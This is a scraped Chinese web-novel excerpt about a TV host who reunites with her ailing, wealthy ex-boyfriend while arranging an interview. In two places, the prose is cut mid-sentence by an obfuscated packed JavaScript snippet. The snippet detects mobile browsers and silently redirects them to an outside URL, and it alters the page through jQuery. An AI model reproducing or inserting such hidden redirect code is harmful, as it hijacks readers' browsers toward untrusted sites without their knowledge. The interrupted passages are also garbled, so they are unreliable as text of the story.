《退守[破镜重圆]》 1. “裴昶,我前男友。” 康禾医院VIP病房。 “咳…咳…”病床上的男人双眼微闭,清俊的面容略显苍白,不规律的呼吸中伴着几声低咳,仿佛每一声都牵扯着神经。 病床前,医生神情专注,仔细观察着仪器上的数据和男人的状态。见男人的呼吸频率逐渐平稳,医生那紧蹙的眉头才稍稍舒展,方才开口。 “注意休息。”穿白大褂的医生简单地吩咐了句,目光中带着一丝忧虑,准备离去。 谁曾想赫赫有名的裴总,竟是康禾医院的常客。 只是众人有所不知的是裴昶能力出众、手眼通天是真,传言中让无数人难以置信的身体状况欠佳更是真。 作为裴昶一直以来的主治医生,周应淮深知,除了“注意休息”这四字以外不必多说,对于自己的身体状况裴昶的心里比任何人都来得清楚。 “辛苦了。”病床上的人缓缓开口,声音算不上大。 站在一旁的助理苏衡默不作声,目光始终停留在裴昶身上,眼神中透着担忧。直至病房的门缓缓合上,才稍稍收回视线。 “还有多久?”问问题的自然是裴昶。 闻声,苏衡迅速查看手上的腕表:“还有二十六分钟。” “好,先去忙吧。” 苏衡点点头,没有过多停留。他跟了裴昶七年,二十六分钟后将要达到医院的人对他有多么重要,自然再清楚不过。 几分钟前… “她想要找你做节目?”宋应淮听闻这个消息的短短几秒,他在脑海里设想了无数种原因,保留了最有可能的一条。 “嗯。”裴昶应声,声音略显疲惫。 “宋知蕴主动找的你?”这消息的确让人难以置信,宋应淮的脸上写满了惊讶。 “她可能没有认出我吧。”裴昶微微仰头,靠在枕头上,目光看向天花板,若有所思。 这就解释的通了,周应淮点头。裴昶因为身体原因很少出现在公众视野,集团的事一般是副总出面。 网络上关于他的照片少之又少,高清正脸照都很难找出一张。 二十分钟后,穿着黑色西装裙与双排扣格子西装外套的女人抱着花束缓缓走来。 精致的妆容下是一张明艳动人的面孔,步伐优雅,径直越过了敞开的外门。 “王助理,您好。我是一直以来与您联系的宋知蕴。” 会客厅内,静静等待的王助理,见着来人便立刻站起来迎接。 “您好,您好。”王助理露出笑容,热情回应着。 宋知蕴,网友们称赞不绝的“国泰民安”长相,与各位女明星同台丝毫不逊色的“神颜”,也正如众人夸赞的那般容貌出挑。 “您稍坐休息片刻,我和裴总知会一声。”王助理引着对面的人落座,这才放心离开,他可不敢怠慢裴总的贵客。 虹台台花宋知蕴,她参导的访谈栏目《碰面》开播至今一路爆红,每一期都能在互联网上引起不小的轰动。 而节目开播两周年特别篇,她与节目组心照不宣想要邀请一位重量级嘉宾。经过探讨与评估,宋知蕴下了很大的决心向裴昶抛出橄榄枝。 她深知裴昶向来不喜这样在世人面前抛头露面,也猜测到对方收到邀请后拒绝自己的理由。可万万没想到的是,邮件发出后的当日下午,宋知蕴竟接到了王助理的来电。 “您好,请问您是宋知蕴小姐吗?” “是的,您是?”宋知蕴的声音温柔而清脆。 “我姓王,是裴总的助理。” “王助理您好,是裴总那里有答复了吗?”宋知蕴虽料定结果,却难免心中忐忑,握着手机的手不自觉地紧了紧。 “是的,裴总对这档节目很感兴趣,详细情况我们可以在微信上沟通。” 宋知蕴那头愣了几秒,显然还需要些时间消化。 “好的!微信号我用短信发送给您。” “嗯,麻烦宋小姐了。”王助理回应。 “很高兴裴总能够给我们节目组这次宝贵的机会,这次特别企划活动节目组一定能够拿出让双方满意的答卷。”宋知蕴的语气中充满了喜悦和期待。 宋知蕴回忆着,虽然面上没有显露,可想到与裴昶的会面,心里多少还是有些紧张。毕竟,即将面对的是在商界大鳄裴昶。听闻,他为人沉稳低调,除了卓绝的商业头脑被人称赞的还有他那出众的面容。 曾有流言说,裴昶长期以来身体有恙,支撑不了屹恒这座商业帝国多久。各种各样的八卦众说纷云,可惜她这样的圈外人根本懒得琢磨这一个个消息的可信度。 直到敲定见面的地点在医院病房的那一刻,宋知蕴心里隐隐明白了些内情。裴昶既然将地点定在这里,说明他的身体情况一时半刻无法好转,或许看似离谱传闻并不是凭空捏造。 不大不小的开门声打断了宋知蕴的思绪,“宋小姐久等了,请进。” 王助理站在微开的门前,笑脸相迎。 女人重新抱起来摆在桌面上的鲜花,朝着病房的方向往里走去。 王助理丝毫没有打扰她们的意思,待宋知蕴走入屋内,轻手轻脚地掩上了敞开的门。 屋内很安静,仿佛只能听见自己的脚步与心跳声,宋知蕴平复着心情,抬起头的片刻立即摆出职业性的笑容。 病床上的男人半卧着,轻闭着眼,似沉睡一般,动也不动。 待她看清后,涌上心头的情绪一时之间难以形容。她稍稍低下脑袋,努力抑制这一股蔓延的惊讶与无措。 重振旗鼓后,茫然的视线竟会上了那双再熟悉不过的眼眸,裴明彻?或许她早该想到。 与五年前不同的是,身体向来康健的他此刻看起来面色苍白,有气无力了许多。从前那个意气风发的裴明彻,到底经历了什么把自己折腾到如此地步。 真是多想,现在的她,还关心这些做什么?宋知蕴不停安慰着自己,试图抚平心中泛起的阵阵涟漪,可她终归不能够心若顽石,只觉得口干舌燥、又悲又恼。 她又扬了扬差点收回的笑容,继续朝着病床前走,却没有想好怎样开口。 “坐。”床上的人对着沙发的方向微微扬了扬下巴,简单的一个字成功打破了僵局。 “这是给…您的花。”宋知蕴将怀里的花轻放在了沙发面前的茶几上。 再见面用“您”来称呼裴昶,让她觉得浑身别扭。 “客气。前不久病了一场,恕裴某招待不周。”裴昶回了句,音调和缓。 “没有。”宋知蕴有些尴尬地笑了几声,尽量让自己的一举一动看上去正常。 或许裴明彻也明白气氛的微妙,待宋知蕴入座以后,宋知蕴不开口他也没再多说。 两人跳过了叙旧,直截了当的切入正题,谈论起录制当天的问题及注意事项。 在工作方面,裴昶显然并不好说话,他虽没有刻意刁难,可也连续指出了几处需要修改打磨的地方。 宋知蕴认真听着,不时点头,手中的笔快速记录着。 待基本洽谈完毕,已经两个小时过去。 宋知蕴快速的收拾着自己的东西,“裴总,我就不打扰您休息了。”她边说着边准备起身。 “芝芝。”唤她的语调还是如同从前一般温柔。 她听到这声心里“咯噔”一下,停下了准备迈出的步伐,略带些疑惑的看他。 “没什么大事,别紧张。”他笑。 这笑让在旁的人看的有些愣神,她不得不承认尽管病床上的人气色不是很好,也无法忽视那一幅极好的皮囊,无论是气质还是长相亦是如此。 “下次不用麻烦小王了,直接和我联系吧。”他边说边起身拿着放在床头柜子上的手机,由于身体情况太差就算尽力伪装,也显得略微吃力。 “小心。”宋知蕴望着她起身的动作有些心惊肉跳,生怕他磕着伤着。到底是生了多严重的病,连起身拿手机都使不上力气。 “没事。”裴昶摆了摆手。 “我私人号一直没有换,如果删了的话就重…”男人话音未落,另一声紧接而上。 “没有。”宋知蕴恨不能给自己一巴掌,他话还没说完了自己怎么这么猴急,倒像是做贼心虚一样。 “那好,我不多留你了。” “嗯,我走了。” “路上注意安全。”他嘱咐。 “好。”随着尾字落下,病房的门锁重新搭上,房内重新回归寂静。 宋知蕴走出病房,脚步有些沉重。她深吸一口气,试图让自己平静下来。回忆如潮水般涌来,过往的回忆交织着闪过脑海,让她的心情久久无法平复。 而病房内的裴昶,望着关上的门,眼神中闪过一丝落寞,思绪万千。 白色SUV上。驾驶座的女人开着车,正有一句没一句的讲着电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482893|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大忙人几时有空啊?”电话那头,徐穗宁看了看空空如也的工位,询问的声音诱过蓝牙音响外放了出来。 “你也知道我刚约了某位大人物,这不正赶着回去整理资料吗?”宋知蕴应着,话中多少能听出她此刻兴致缺缺。 “一姐的生活过的果然比较辛苦。没办法,我们以前也和你说过,你就是太优秀了!” “不过听你这语气,见到大人物以后让你失望了?”徐穗宁追问,显然不想错过宋知蕴话中一丝一毫的有用信息。 “呵。”宋知蕴别扭的干笑两声。 “打住打住,上学的时候就觉得你这样笑瘆人的慌,肯定没什么好事发生。”宋知蕴这笑声别扭的紧,真是听的她浑身不舒服。 “好好说话哈。” “不是失望,是惊吓。”宋知蕴回话,脑海中不由的映刻出那人的模样。 “请详细说来。”徐穗宁一听有瓜,就开始迫不及待起来。 “回去说不行吗?”她俩就在一个台里上班,这小妞如此猴急。 “哎呀,我想听还不行吗?” “你现在有空?”宋知蕴问。 “当然!”刚好碰上空闲时间,什么都阻止不了她吃瓜。 “我真是服了你了!”她蹙眉,话里话外满是无奈,看来这回不说点什么回去也铁定跑不掉。 “哎。”宋知蕴浅叹了口气,接着说:“你猜我们在哪里见的面?” “不是公司?”徐穗宁反问。 “不是。” “也是,这样问肯定不是什么正常地方。”徐穗宁左思右想,干脆把奇葩的地方全报了个遍。 “公园吹风?” “不会白天约你去会所、KTV?传闻都是骗人的,难道他是位花花公子!” “想太多,花花公子倒也不是。”说话的语气十分肯定。 “哟,你这才见一面就护上了,裴昶真的和传闻里一样帅到掉渣啊?”徐穗宁八卦。 “听上去离谱,但我如果说不确实有点昧着良心,精确点说算是各种客观意义上的帅。” “你什么眼光?连你都能亲自认证的那不得要帅出天际!他什么时候来台里记得里知会我一声,见上一面我也满足了。”徐穗宁倒是坦然,这世上怕也找不出几个不喜欢看帅哥的女生罢。既然这样,何不趁着自己单身之前丰富一下人生的“美男图鉴”。 “言归正传,在哪见的面呀?”徐穗宁还是忍不住好奇,问了半天一个答案竟都没绕明白。 “医院。”她缓缓道,只是电话那头的人无法瞧见她面色中难掩担忧的模样。 宋知蕴根本止不住心中那些猜测,到底是什么病让裴明彻不得不在医院接受采访。他面色那么差,是否真的病的很重。 “不是吧,大帅哥莫非身体不好。一时半会能出院也不会让你去那种地方吧。”就连徐穗宁也这么想。 “哎,他也没多大岁数吧,病的挺严重。”她又接着说。 他到底是怎么了,宋知蕴心里琢磨着。 “你不对!”徐穗宁贱兮兮的说。 “哪不对?”宋知蕴不解。 “你很不对劲哈,宋知蕴小姐。你怎么确定他不是花花公子,你们之前认识?而且还很熟?”徐穗宁向来擅长察言观色、洞察人心。这不,一猜就是一个准。 “我也没想瞒你。” “裴昶,我前男友。”她淡淡道,用着再平常不过的语气,好像不是什么大事一般。 ???姐,这你都能这么淡定。 “六百六十六啊,姐妹!能用这么平常的语气说出来,你真是我唯一的姐!”徐穗宁不禁感叹。 “真有那么轻松就好了。”宋知蕴低声道。 “之前让你哭的死去活来是这位吧?”徐穗宁有了个大胆的猜测。 “是啊。”电话这头的人语气中似有一丝落寞。 “去之前你不知道是他?”徐穗宁追问。 “我一直和他外公一样叫他裴明彻,就算知道本名,世界上同名同姓的人那么多,哪想得到一块去。”宋知蕴无奈,她倒是真没往这方面想过,交往期间也没怎么过问他生意上的事。 …… 还没等徐穗宁刨根问底,话题就被打断“我快到了,先挂了。下班等我,我们去小酌一杯。” “行。”得到对面的回复,宋知蕴果断挂了电话。 2. “嗯,我在听。” 即使是工作日,京市依旧是车水马龙。路上,一座座高楼大厦平地拔起,气势恢宏,巍然耸立,整齐有序地排列在道路的两旁。这里就是无数人梦寐以求的京市,人们口中的“天堂”。 00:28,宋知蕴挽着徐穗宁从代驾手中接过了钥匙。 星河湾是京市中上等的小区,主打的简约现代建筑风格。 小区所属的地段交通便利,购物方便,台里的工资一向可观,加上两人家境殷实,当年商讨了一番决定在这里购置房产。 “走。”宋知蕴率先开口。 “嗯。” 天色已晚,此刻电梯内也仅有她们两人。 “如果放不下的话,不如再努力一把。”徐穗宁看着她,她对自己的好闺蜜再了解不过。 宋知蕴低头沉思,没有回答。 “何必留遗憾呢?你不想知道当年到底怎么回事吗?就算没可能了问清楚也是好的。”徐穗宁忍不住又道。 电梯很快到达了18层,两人一前一后的走到了家门口。 小区采用的是一层双户的设计,而徐穗宁与宋知蕴购置房产时有意买在了对门。 “你好好想想。”徐穗宁拍了拍肩膀,苦口婆心的嘱咐。 进了门,宋知蕴觉着身上酒意更甚。快速拿好了换洗衣物,准备梳洗一通。 沐浴以后果真清醒了许多。她走至吧台前泡上一蜂蜜水,又回到在梳妆台前坐下。 身为需要上镜的主持人,脸当然也算她的一块金字招牌。直至繁琐的护肤步骤结束,时间已流转到一个小时以后。 关了灯,躺倒在床上的宋知蕴不由得开始胡思乱想。 想他的病是否真的很严重,思考当年到底为什么分手,甚至不忘考虑临别前徐穗宁苦口婆心的一番劝说。 边想着,她索性打开了熄屏已久的手机。 宋知蕴翻找着,在微信黑名单里找出了唯一躺着的联系人,将他移了出来。 她没舍得删除他们的聊天记录,就算换了许多部手机仍旧不厌其烦的备份一遍又一遍。 点开聊天框,过往的点点滴滴一瞬间映入眼帘。 那年,他莫名其妙搪塞了一个理由后,消失的无影无踪。 曾经有一年的时间里,她不间断的发各种信息却从未得到一丁点回复。 电话能够拨通,可怎么也无人应答。 他从未拉黑她,却胜似拉黑她。 她从未放下过,屡战屡败却越挫越勇。 终于在大四毕业那天,聚会上宋知蕴酒意上头,心中的委屈止也止不住,在众人面前一个劲儿的哭。 她觉得丢脸,刚想离去却被好友一把拉住。她们使劲劝:“这不是你的问题,知蕴。” “对啊。你长得这么好看要什么样的男人没有?何必在一棵树上吊死,大家都说下一个更好,难道不是吗?” “诶,这话我赞同。” “是啊。” “没错。”众人你一言我一语的附和着。 “他有说为什么吗?”有人提问。 “说的很敷衍。”敷衍到连她想信都不敢信,宋知蕴心里想着。 “他既然都这样了,也没有任何挽回的举动你还想着他干嘛呀!”劝的人无奈的摇了摇头。 众人心里惋惜,京大校花级的风云人物,拒绝了身后多少追求者,怎么因为一个男人伤成这样? 也正是那天,宋知蕴不知道从哪来的决心稀里糊涂的就拉黑了他。 等到隔天她就开始后悔,几次想把他拉回来。 可每次一有这种想法冒头,宋知蕴都会在心里给自己放狠话:别总是自己自作多情了,他都不理你还要上赶着吗? 她毫无睡意,随意翻看着手机,下意识打开他们在一起拍摄的照片,回忆起甜蜜的过往。 传言真真假假,裴昶并非不喜拍照,反而摄影技术好到离谱。 无论是拍风景还是人都很有一手,自己曾在他的摄影机下出了不少神图。 在一起时,宋知蕴只觉得他待人谦和、彬彬有礼,用翩翩公子形容也不为过。他会的很多,许多门类都能算得上精通。 她曾经打趣他:“裴明彻,你到底会多少东西?怎么就连摄影技术都能好到这么离谱。” 他只笑,玩笑似的回:“家里长辈多,为了讨长辈开心嘛,多培养一些兴趣爱好也不吃亏。” 她翻动着相册里的照片,直到划到那张自拍后才停下,对着它看得愣神。 海滩上,男人搂着女人的肩膀。海风吹动着女人的头发,微乱的发丝轻打在男人的脖颈上。 女人一手比耶一手举着拍摄的手机,她正看着摄像头,而他正看着她。 原来,就连自己也快忘了。他曾对着她笑的那么甜,宠溺的神色溢满了他的眼中。 临睡前看了看时间,凌晨3:23分。幸好明天不用上班,她才能放纵自己喝一回酒。 宋知蕴没有继续往下想,将手机熄屏安置在一旁,闭着眼睛等待睡意来临。 老天就像和自己作对似的,明明满脑子都闪着该睡觉了,可竟怎么都睡不着。 无奈之下,脑海中不由得回想起徐穗宁那番话。她应该尊崇自己的内心试着和他聊聊吗? 思来想去,还是无法立刻下决心。算了,走一步看一步吧! 许是揪着的心终于有些动容,宋知蕴竟在不知不觉中随着困意睡了过去。 病床上,裴昶阖着双眼,意识却格外清醒。 月光透过病房的玻璃丝丝点点洒落下来,眼睫忽的煽动几下,睁眼若有所思地望向窗外。 近几年,他的睡眠质量一直不好,如同今日一般的夜晚更是数也数不清。 脑海中不由浮现那张五年未见的脸,裴昶暗自在心中将想得到的回答思考了遍。 她看起来干练成熟了不少,不知道有没有照顾好自己?是不是已经找到靠谱的另一半? 躺着的人想到这,面上不禁扬起苦笑,顿时感觉心口钝痛。这疼像潮水一般来势汹汹,额头竟沁出了汗来。 痛也没用,是你把她赶走的,裴昶在心里告诉自己。 他缓缓起身,摸索着倒出两粒药片就这水吞下,在夜幕中重新闭上眼感受着药物缓缓生效。 一个多星期来,台里的事情倒是不少,宋知蕴紧赶慢赶好容易将节目资料梳理妥当。 会议室里,《碰面》栏目组的所有成员为两周年特别企划正讨论的热火朝天。近两小时过去,才有了会议结束的情状。 这会儿,宋知蕴收拾完了桌上摆放的那叠会议资料,打算起身离开。 一道男生传来:“知蕴,我们刚刚修改和新增的一些内容还需要你回去整合完再与裴总约个时间。”说话的人正是节目组的执行导演。 “好。”宋知蕴点了点头。 “哦对,还有。记得让裴总挑选一个方便录制的时间。”走之前导演不忘交代着。 照理来说,录制节目一般都是由台里定下固定时间再通知嘉宾。 可裴昶公务繁忙,加之距离两周年节目播出还有很长一段空档,节目组再三考虑下才决定让裴昶在规定期限内挑选空闲时间。 下班后,宋知蕴忙不迭在微信中点开了王助理的聊天框,打算编辑消息时忽的脑海中却闪过了男人当天那句话。 “下次不用麻烦小王了,直接和我联系吧。” 她浅叹口气,在微信上调出和那人的聊天界面,最后一条消息还定格在四年前。 ‘冒昧打扰,专访的稿子和材料有些修改的地方还需要重新和您聊聊,裴总哪天有时间?’宋知蕴摁着键盘憋出了一段官方到不能再官方的话,又想起了昨天徐穗宁苦口婆心的那番劝说,又把聊天框里的所有文字一个个删除。 ‘你哪天有时间?’发出了第一条消息后,宋知蕴又在键盘上敲出了后半句,‘专访的稿子和材料还有些修改的地方,想重新找你聊聊。’不似以前那样亲密,可也不想和他装陌生人。 另一头,会议桌主位上裴昶正听着各部门下属次第汇报着。 研发部总监正说的火热时,桌面上私人手机的屏幕却不合时宜的亮起。 裴昶垂眼,解锁手机点开了绿色聊天软件。 显示着芝士和女王表情符号的置顶联系人那,久违的出现了个红色的消息提示。 看到消息内容,他在心里默默叹了口气。打开行程表对照着认真挑选了空闲时间,向她回了条信息。 “好。”宋知蕴回复的很快,似乎一直在等待他的消息。 周五那日临出门前,宋知蕴不知自己中了什么邪在镜子面前晃了又晃。 这套衣服搭配的合不合适?这妆容怎么样?心中反复思索着。 她今天走日常风,淡黄色的长款毛衣搭配灰黑格子包臀裙,配上她一头的大波浪显得温柔乖巧了许多。 宋知蕴站在楼底往上望,只觉得巍峨、气派,是京城腹地里扎眼的一笔。 她本不是好奇心重的人,恋爱时没有追问他家里情况,只当裴昶是家境优渥的富二代,与自己相差不远。 直到这段时间为采访潜心做足功课,她才真正了解到裴家的底蕴,根本不是简单的“有钱”可以形容。 裴家是真正意义上的大家族,祖籍江南,几代仕宦,底子打得厚实。后来北上入京,根系扎得深。 裴昶奶奶的名字她听过,中学美术课本上有一页,讲建国初期的建筑大师,那位穿旗袍拿着手稿的女士,眉眼温和,落款处印着名字。 她查阅资料的时候差点以为是同名同姓,翻到生平才确认,那确实是裴昶的亲奶奶。 爷爷那一辈更不必说,早年商路走得远,后来时局动荡,将半数家财捐了出去。 裴昶的母亲在世时是航天研究院杰出的设计师,父亲裴茗一手创立屹恒,起家是金融,后来转向科技行业。 外头人提到屹恒,都说这是商界巨擘,产业版图铺得漂亮。 而裴昶接手公司之后,让屹恒的市值翻了两倍不止,在行业榜单上留下扎扎实实的一笔。 除此之外裴昶三年前创立的娱乐公司,短短时间做到行业头部,出品的剧集和电影她几乎都看过。 屹恒前台,两位坐班的女员工看见来人,面面相觑。 出了名的大美人宋知蕴,来他们公司做什么? “不会是哪位领导的桃花吧?”其中一位小声嘀咕了句。 “我猜她是为公事来的。”另一位反驳。 “也是,她那节目蛮有名的。”话音落下,说话的那位还不忘认同的点着头。 口中讨论的女人很快便走到她们面前,她笑:“您好。” “您好,请问您找哪位?” “哦,我找裴昶,裴总。”宋知蕴很快接话。 接待的这位心里一怔,压根没想到宋知蕴要找大老板。 好在屹恒员工职业素养到位,面色如常并未做出任何过激的反应。 “请问您有预约吗?”前台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482894|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续问。 “嗯,有的。”对面的人点头。 “好的,麻烦您稍等。”小姐姐边笑着回复,边腾出手在座机上拨出秘书办的号码。 那头不知说了些什么,吩咐了好一阵,便听见前台小姐有一下没一下的回复着。 话术很单一,只有:“好的、是。”之类的内容。 “好的,我会转告宋小姐。”随着这头话音落下,终于结束了这段通话。 “宋小姐,秘书办的人让我向您转告,裴总会…” 话音未落,微信通话的铃声骤然响起。 亮堂的屏幕上,赫然显示着单字备注‘他’。宋知蕴倒没有急着接通,而是下意识想等前台说完这段。 “看来应该是裴总给您打来了。”前台收回之前的后半句,露出了职业性的笑容。 “麻烦了。”宋知蕴回了话,指尖轻点屏幕,接通电话。 “芝芝。”对面那头响起的男生还是一如既往的温柔。 “嗯,我在听。” “到公司了?”他又问。 “在一楼。” “找个沙发坐会,我下去接你。”伴随着说话声的还有一阵窸窣的杂音。 “好。”她回答。 电话挂断后,宋知蕴倒是听话地找了处空位落座,刷着手机静等那人到来。 这头。 裴昶盖上了方才还握在手中的钢笔,熟捻地拿起靠在桌边的手杖,配合着迈步走出一小段路。 正要前来的苏衡见着办公室里坐着的那位到了面前也不惊讶,三两步走向裴昶开口:“裴总,您吩咐下面准备的甜品和果汁现在端进去吗?” “现在不用,人来了再说。” “好。”苏衡会意话中的意思,点头准备去忙其他工作。 “等等,先帮我拿着这个。”裴昶递出手杖,一句话叫住了他。 “你…”跟了裴昶这么多年,苏衡对他的身体情况了如指掌,何况这次病的如此严重。 裴昶没说什么,只摆了摆手。 苏衡犹豫着接下了递来的手杖,随后抬头定定地看着对面未走的人。 “明彻。”后半句话虽还未说,但意思再明显不过。 裴昶这人对手底下的员工态度不错,苏衡跟了他这么多年两人感情深厚,明面的上下级关系除外更是多了层好友的身份。 与他关系亲近的,私底下多半以‘明彻’相称,这算不上是个多大的秘密。 “好多了,没逞能。”裴昶笑了笑,安慰式地拍拍男人的肩膀,很快就只留下一道背影。 还在原地的男人无奈的摇头,这人不仅通情达理的紧,有时那说一不二的做事风格更是叫人头疼。他决定的事情向来没有什么回转的余地。 约莫七八分钟后,电话那头的人搭着电梯出现在了大厦一楼。 宋知蕴正回复完一条工作消息,抬眼便汇上了那道似水的目光。 她也不躲,往后一靠就这样明目张胆望着。 男人的步调不快,一袭灰色高领毛衣搭配着纯黑长款西装外套,上衣的下摆随着他前进的步伐轻微地晃动着。 她细细品着,就连他左手佩戴的银色腕表与食指、无名指的两枚装饰戒指都挑选的如此相得益彰。 没多久一直盯着的人站到了她面前,宋知蕴心里暗道没看够。 “久等了。”男人开口。 “没有。” 女人的目光实是太过灼热,让裴昶讶异于她的举动大转变,于是开口:“怎么了?芝芝。” “品鉴穿搭博主今天的造型。”徐穗宁那番话倒是让人明了了许多,想做就做,何必留遗憾呢?他都没刻意逃避着,那自己还畏首畏尾逃避什么? 裴昶品味不错,在穿搭方面能算得上是博主级。 从前宋知蕴最喜欢欣赏“行走的衣架”各式各样的穿衣风格。事实证明,现在也同样对她有吸引力。 上次医院碰面,一身的病号服愣是让她失了次机会,这回还不得给自己“补偿补偿”。 “美人就应该披好看的皮。”她又补充。 裴昶被她逗的哑然失笑,几年不见她还是这样。 “这T台要不我回去重走一次,让你多些时间欣赏欣赏?”他也亦如从一般爱逗弄她。 果然,这回的笑的人又多出了一个。 “我们上去坐。”男人及时收住了话题。 “好。”宋知蕴拎着包起身向前了两步,打算跟在裴昶后面走。 为了方便多装些资料,宋知蕴向来习惯背托特包出门工作,这包的容量最符合她的工作需求。 包里的东西不算少,女人右手一抬拎着的包换了位置落在了她的肩上。 旁边的男人全程看着,伸手示意:“包给我。” 宋知蕴没有任何反应,只是嘴上回复:“没事,这包不是很重。你前段时间还生病呢,不用麻烦了。” 裴昶轻叹了声,随后道:“我已经好的差不多了。” 宋知蕴索性也不再扭捏,大大方方把包从肩上卸了下来。 裴昶利索地把包背到了自己肩上,不得不说这包配上男人一身穿搭竟别有风味。 他贯是如此细心体贴,两人恋爱时无论是体力活、脑力活都让他揽个精光。 那时的宋知蕴只需要每天都过得快乐,做自己喜欢的事情就好。 谁曾想,重逢后他的每个举动还是那样从一而终,这让宋知蕴忍不住琢磨当初不明不白提出分手的理由。 3. “我还是喜欢你做的。” 宋知蕴思索着,脚步却没有一点迟缓。 裴昶行走的速度不快,她就这样一步一步跟着紧随其后。 屹恒顶楼,裴昶日常的工作场所。 除了小厨房、茶水间外,便是秘书办与裴昶个人的办公区域。 茶水间与电梯相隔不过十米远,算是去裴昶办公室的必经之路。 这会,宋知蕴透过玻璃竟瞥见茶水间内坐着三两男女正有说有笑的聊着天。 面对玻璃坐着的那位见裴昶路过神情没有半分波动,朝着行走的人笑了笑继而又将目光转回,投身于火热的氛围中。 裴昶望着坐位上的男人,见他一笑点了点头给予回应,丝毫没有要插手的意思。 宋知蕴纳闷,走快了两步。她顿了几秒,转头望向身旁那人:“老板,你们公司制度这么开明?”哪有工作时间喝咖啡聊天的道理?更奇的是,身旁这位大老板路过竟就这么看着,换做别的公司这场面绝不可能出现。 “一向如此。”裴昶笑着摊手。 宋知蕴看着他,男人脸上表情仿佛在说:对,羡慕吧。 是啊,她当然羡慕了!宋知蕴心想。 这么开明的老板哪位打工人不想拥有? “最近项目不多,他们完成好自己的本职工作后,剩余的时间开个茶话会没什么大问题。”裴昶解释道。 裴大总裁的本事她今天算是见识到了,开明的公司制度、有领导力的老板,屹恒的员工想不死心塌地的跟着他干都难。 不一会功夫,目的地到了。 裴昶刷卡拉开办公室紧锁的门,进门后最吸睛的莫过于那块全景落地窗,往下俯视,城市的景色尽收眼底。 明媚的阳光透过玻璃窗均匀的洒落进来,给室内增添了不少光亮。 他的办公室占地面积很大,现代风的装修风格。 裴昶领着宋知蕴在沙发处坐下,这块区域应是他平时接待贵客的地方,沙发前宽大的茶几上还置着套看上去价值不菲的茶具。 “不急,先休息会。”裴昶将包放下,坐在她左侧的单座沙发上。 男人拿着手机,按动着编辑了条信息。很快,一串不大的敲门声打破了寂静。 “请进。” 苏衡端着视线准备的果汁和甜品在茶几前停下,稳当的将东西摆在了宋知蕴的面前。 宋知蕴挪了挪视线,有些愕然。 “鲜榨的橙汁,想喝茶的话我给你泡。”男人指了指桌上摆着的橙色液体道。 “果汁就好。” “太久不见不知道你口味变了没有,我还是照着以前准备了芋泥蛋糕,如果现在不喜欢了我让他们去换。” 男人体贴的话语再度响起,宋知蕴按耐住自己心底燃起的情绪,时刻告诫自己保持冷静。 她不由从裴昶这些举动中忆起两人的过往,如此怀念的说话方式与做事风格扰的她无法逼迫自己不去多想。 “还是和以前一样,都没变。”不只是对食物的喜好,还是对人的喜好。 “那好。”裴昶起身,伸出左手将果汁与蛋糕向宋知蕴的面前又推进了一些。 “裴总,您的…”苏衡没接着往下说。 裴昶意会,开口:“叫小王等会给我送过来。” “好。”苏衡起身正准备退下,熟悉的男声再度响起。 “稍等。” 男人说完两字,转身看向了沙发上静坐着的宋知蕴,带着询问的语气:“今天有没有别的工作?” 女人摇摇头笑着开口:“今天倒是不忙。” “那我请他坐下来先一起聊聊。” “嗯。” 裴昶对苏衡做了个请的动作,待苏衡落座大老板竟熟络的给那人泡起茶来。 这会宋知蕴倒是见怪不怪,裴昶惯会不按常理出牌,有了刚刚的先例现在这画面让人容易接受了许多。 “明彻,我自己来吧。”苏衡客气。 “客气什么。”男人丝毫没有停下手里的动作。 “别拘谨,有什么话都可以聊。”起初就是为了缓解宋知蕴与他独处时的不自在,才想着拉一人作陪。 气氛活跃的比想象中快。聊天过程中宋知蕴时不时抛出一些问题,就算话里的主角包括旁边二人也不刻意避讳。 沙发上端坐的两位倒是纵容,耐心地听着完全没有阻止的意思。 “平时你们也都直接这样称呼他?”宋知蕴好奇。 “他啊,随意的很。熟悉的私下都这么称呼。”苏衡解答。 宋知蕴明了的点头,转头看了看另一旁的裴昶。不曾想这时男人也巧的朝她看去,放下手中的茶盏唇角微勾。 “你平时这么好相处,岂不是没有威慑力?” 裴昶没有着急回答,一道男生率先传来。 “诶,那你可想多了!他这人就是个完美主义!平时看着好说话,一遇到工作必须要完成到极致。我和你说,裴明彻工作起来脾气不大好!”苏衡果然很有话说,他倒不怕裴昶生气,话里话外含着几分控诉的意味。 裴昶没有阻止,眼中带笑、饶有兴致地听着别人对他的评价。 听完苏衡的话,宋知蕴重新将裴昶打量了一番。 苏衡说的没错,裴昶平时对自己温声细语的,她还真想象不了这人板起脸是什么样子。 “想象不出来?”裴昶问得直截了当。 宋知蕴点头:“反差太大。” 裴昶失笑,大部分温柔都给她了不是。“也就工作的时候有机会接接其他老板‘地气’。” “苏衡,他下次要是凶你们了记得邀请我看看,我也想欣赏欣赏他‘不为人知’的另一面。” “好啊。” 简单的话,逗得三人大笑。 正当聊天将近尾声时,苏衡的手机铃声打断了本该扬起的一阵笑声。 “抱歉,我得先走一步。”挂断电话,苏衡表示歉意。 “先去吧。”宋知蕴回,定是什么要紧的工作。 “明彻,小王和我说这会路过将东西马上送来。”说完立马朝着大门的方向走去。 “好。”裴昶点头。 不曾想,大门打开迎来的正是王助理。 “裴总,给您放哪合适?”王助理询问。 